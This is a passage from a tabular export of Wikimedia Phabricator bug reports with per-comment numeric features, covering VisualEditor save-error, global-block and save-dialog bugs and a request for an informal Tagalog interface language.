In other cases, it is possible to get the message and having the edit saved.",,,1380198153,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,3.0,3.0,6.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3225806451612905,0.6290322580645161,"Ok, so comment #3 should read that in one occasion,
David got the message, the edit was not saved.
Editing the same article, I didn't get the message, and my edit was saved.
In other cases, it is possible to get the message and having the edit saved."
247918,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","I got ""Error: unknown error"", but the error saved anyway, on this edit: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&curid=68227&diff=574513723&oldid=574510970 - first time I've ever had the error and it did in fact save.

I'm now wondering if having the error and the edit not being saved is the same bug as having the error and the edit being saved.",,,1380197582,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,3.0,2.0,5.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,8.0,2.0,6.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3076923076923075,0.6307692307692307,"I got ""Error: unknown error"", but the error saved anyway, on this edit: URL - first time I've ever had the error and it did in fact save.

I'm now wondering if having the error and the edit not being saved is the same bug as having the error and the edit being saved."
247913,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","A fr.wp user reports he was confused when he got this message, since the edit was saved anyway.",,,1380125629,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,10.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9,"A fr.wp user reports he was confused when he got this message, since the edit was saved anyway."
247910,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","David Gerard and I had different experiences about this bug.
He tried to edit https://en.wikipedia.org/wiki/Neuro-linguistic_programming , while I basically copy/pasted that article in my sandbox https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573778358 and then attempted to change it.
After 100 secs or so, VE managed to save our edits, but he got the error message, while I didn't. HTH.",,,1379794141,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,6.0,12.0,0.0,5.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,3.0,6.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.7846153846153846,"David Gerard and I had different experiences about this bug.
He tried to edit URL , while I basically copy/pasted that article in my sandbox URL and then attempted to change it.
After 100 secs or so, VE managed to save our edits, but he got the error message, while I didn't. HTH."
247906,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Here http://en.wikipedia.org/w/index.php?title=Fairfield%2C_Iowa&diff=569923054&oldid=569069756 is another case of the error message being thrown after an actually successful edit.
The user wonders: "" it would be useful to know the current confidence limits around page length and the ability to edit same. Is it dependent upon local environment (i.e. PC configuration and memory allocated to browser)? Or is there a server side known performance limit?"".
Thanks.",,,1377340698,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,9.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,4.213333333333333,0.8133333333333334,"Here URL is another case of the error message being thrown after an actually successful edit.
The user wonders: "" it would be useful to know the current confidence limits around page length and the ability to edit same. Is it dependent upon local environment (i.e. PC configuration and memory allocated to browser)? Or is there a server side known performance limit?"".
Thanks."
247902,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","(User specs, Vista - FF23 - Vector.)",,,1377007870,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.727272727272727,0.9090909090909091,"(User specs, Vista - FF23 - Vector.)"
55009,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Screenshot

Blocked IP addresses can see the VisualEditor, use it, and are presented with the error in the screenshot when saving.

Reporting distinctly from bug 52004 because the error message and use case are both somewhat different.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52004

**Attached**: {F11450}",Medium,50.0,1376861280,1398210636.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-r3aliipwenpyb4simxc3,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,15.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8641975308641974,0.5925925925925926,"Screenshot

Blocked IP addresses can see the VisualEditor, use it, and are presented with the error in the screenshot when saving.

Reporting distinctly from bug 52004 because the error message and use case are both somewhat different.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11450}"
243149,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"As with the normal local block bug, I'm going to mark this as fixed. We don't block the user from using VE, but there is now a notice warning them when they open VE.

It would be difficult to get all the useful info into some smaller alert() message or similar. Though after thinking about it a bit more we could perhaps use a small VE dialog or something, I am open to suggestions of course - but perhaps that would be better to put in a more general ""not able to edit page due to protection/block/etc. dialog error"" as this patch simply brings global blocks into line with normal blocks, protection etc.",,,1398210636,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,True,,,42,,1.0,1.0,0.0,0.0,1.5,9.0,2.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.5,2.5,0.0,5.5,12.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,3.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,2.5,0.0,2.0,0.0,0.0,0.0,12.5,1.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,2.5,5.0,1.0,2.5,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,12.5,1.0,0.0,1.5,0.0,4.5,0.0,0.5,2.5,0.5,2.0,3.0,0.0,2.5,3.7154002713704206,0.8267752148349163,"As with the normal local block bug, I'm going to mark this as fixed. We don't block the user from using VE, but there is now a notice warning them when they open VE.

It would be difficult to get all the useful info into some smaller alert() message or similar. Though after thinking about it a bit more we could perhaps use a small VE dialog or something, I am open to suggestions of course - but perhaps that would be better to put in a more general ""not able to edit page due to protection/block/etc. dialog error"" as this patch simply brings global blocks into line with normal blocks, protection etc."
243145,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Change 127840 merged by jenkins-bot:
Show notice if user is globally blocked

https://gerrit.wikimedia.org/r/127840",,,1398207749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 127840 merged by jenkins-bot:
Show notice if user is globally blocked

GERRIT_URL"
243141,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"That error message that you do get on saving is also a bug of it's own, patched in Gerrit change 127835",,,1398126343,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,1.0,"That error message that you do get on saving is also a bug of it's own, patched in Gerrit change 127835"
243136,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Change 127840 had a related patch set uploaded by Alex Monk:
Show notice if user is globally blocked

https://gerrit.wikimedia.org/r/127840",,,1398126310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,"Change 127840 had a related patch set uploaded by Alex Monk:
Show notice if user is globally blocked

GERRIT_URL"
54982,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","The thermometer is important, as it explains why a radically modified document would give me an empty ""review changes"" box.

Separate bugs: the thermometer never stops spinning, and my changes for review never appear--maybe Parsoid is gagging.  And, is that UI javascript running without a setTimeout?

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1376813460,1392062928.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-h7psvvdxqq5nurzgtxts,task_description,declined,True,c1,3,True,False,False,6,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,5.0,4.0,1.0,3.0,0.0,4.0,0.0,1.0,4.0,1.0,3.0,0.0,0.0,0.0,4.259740259740259,0.7142857142857143,"The thermometer is important, as it explains why a radically modified document would give me an empty ""review changes"" box.

Separate bugs: the thermometer never stops spinning, and my changes for review never appear--maybe Parsoid is gagging.  And, is that UI javascript running without a setTimeout?

--------------------------
**Version**: unspecified
**Severity**: minor"
241392,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","We can't reproduce this now, so closing as WORKSFORME.",,,1392062928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8333333333333335,1.0,"We can't reproduce this now, so closing as WORKSFORME."
241387,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer",I don't see a thermometer. :|,,,1391916090,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,I don't see a thermometer. :|
241382,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","Sorry.

* Edit a page, making changes
* Click ""Save page"".  Save dialog pops down, and thermometer is spinning.
* Click ""Review changes"" before the thermometer stops.
The save dialog collapses down to a single line, which contains only the ""Review changes"" button, a left arrow button, and an up button.  This is strange.  The thermometer is gone.  There is no explanation of why i am presented with this damaged dialog.

Apparently, with my broken VE, the loading/render/whatever the thermometer represents never finishes.  Which made it very easy to reproduce this other bug.",,,1376956217,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,1.0,1.5,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,3.5,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.5,9.0,1.0,1.5,11.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,2.5,5.0,2.0,0.0,3.0,0.0,2.5,0.0,3.0,2.5,0.0,1.0,0.0,0.0,0.0,3.769230769230769,0.6538461538461539,"Sorry.

* Edit a page, making changes
* Click ""Save page"".  Save dialog pops down, and thermometer is spinning.
* Click ""Review changes"" before the thermometer stops.
The save dialog collapses down to a single line, which contains only the ""Review changes"" button, a left arrow button, and an up button.  This is strange.  The thermometer is gone.  There is no explanation of why i am presented with this damaged dialog.

Apparently, with my broken VE, the loading/render/whatever the thermometer represents never finishes.  Which made it very easy to reproduce this other bug."
241379,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","Trying to parse this. Is this:

1. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to disappear, which takes the save progress animation thermometer'

… or

2. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to collapse but stay present, and also the save progress animation thermometer stays but stops animating'

… or something else?",,,1376953643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,7,,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,10.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,2.0,4.060975609756097,0.524390243902439,"Trying to parse this. Is this:

1. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to disappear, which takes the save progress animation thermometer'

… or

2. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to collapse but stay present, and also the save progress animation thermometer stays but stops animating'

… or something else?"
241374,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer",How does a thermometer spin?,,,1376814507,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,How does a thermometer spin?
54957,Creation of tl-informal as a new interface language,"**Author:** `jamesjoshualim`

**Description:**
Hi, everyone.  Yesterday, we had a meetup here in Manila, and I discussed with two Tagalog Wikipedia editors (including a fellow bureaucrat) about the creation of a new interface language for Tagalog in a bid to resolve long-standing differences over how the interface should be translated.  We agreed on a compromise solution, where we would accommodate Taglish (code-switched Tagalog and English) as a new interface language called ""Tagalog (informal)"" for the Tagalog-language projects, similar to how there is an interface language for formal German (de-formal).

We decided that this new interface language will become the default interface language for all anonymous and new users on the Tagalog Wikipedia, in order to attract new editors who may be confused by the formal language used for the current Tagalog interface.  The current interface will be opt-in for those who want to use the interface as it currently is, and users will have the ability to select their preferred language using the Universal Language Selector which will only have Tagalog, Tagalog (informal) and English as the options.  All other languages may still be selected through the preferences.

If this is possible to do, I'd love to see this come to fruition, and I hope to hear from all of you soon.  Thanks! :)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1376723820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tn3a37o3zgibya4bkm32,task_description,stalled,True,c1,3,False,False,,6,,1.0,0.3333333333333333,0.0,1.0,0.0,6.666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,3.0,11.333333333333334,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,3.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,13.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,6.666666666666667,2.3333333333333335,12.0,1.6666666666666667,2.0,9.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,0.0,0.6666666666666666,0.0,3.3333333333333335,11.333333333333334,7.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,2.0,2.3333333333333335,0.0,1.0,0.0,0.0,0.0,4.131443298969073,0.6607603092783505,"**Author:** CODE

**Description:**
Hi, everyone.  Yesterday, we had a meetup here in Manila, and I discussed with two Tagalog Wikipedia editors (including a fellow bureaucrat) about the creation of a new interface language for Tagalog in a bid to resolve long-standing differences over how the interface should be translated.  We agreed on a compromise solution, where we would accommodate Taglish (code-switched Tagalog and English) as a new interface language called ""Tagalog (informal)"" for the Tagalog-language projects, similar to how there is an interface language for formal German (de-formal).

We decided that this new interface language will become the default interface language for all anonymous and new users on the Tagalog Wikipedia, in order to attract new editors who may be confused by the formal language used for the current Tagalog interface.  The current interface will be opt-in for those who want to use the interface as it currently is, and users will have the ability to select their preferred language using the Universal Language Selector which will only have Tagalog, Tagalog (informal) and English as the options.  All other languages may still be selected through the preferences.

If this is possible to do, I'd love to see this come to fruition, and I hope to hear from all of you soon.  Thanks! :)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
970546,Creation of tl-informal as a new interface language,"Or even better: https://www.mediawiki.org/wiki/Internationalisation_wishlist_2017#Better_support_for_formal_and_informal_variants

This assumes that it is only wanted for interface, and that differences are not that big.",,,1511791485,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,230,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,21.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"Or even better: URL

This assumes that it is only wanted for interface, and that differences are not that big."
969610,Creation of tl-informal as a new interface language,"Because language converter would need to cater to exceptions, the better way to do this is probably just open up a language and then only translate those that are different and then let the other terms fallback to Tagalog just like how zh_HK<>zh-Hant have been handled.

That is provided that if a consensus are to be reached.",,,1511459800,,PHID-USER-yba5kkq4bvwironiorlq,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,229,,0.0,0.0,0.0,5.0,0.0,5.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,6.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,6.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,4.301587301587301,0.7777777777777778,"Because language converter would need to cater to exceptions, the better way to do this is probably just open up a language and then only translate those that are different and then let the other terms fallback to Tagalog just like how zh_HK<>zh-Hant have been handled.

That is provided that if a consensus are to be reached."
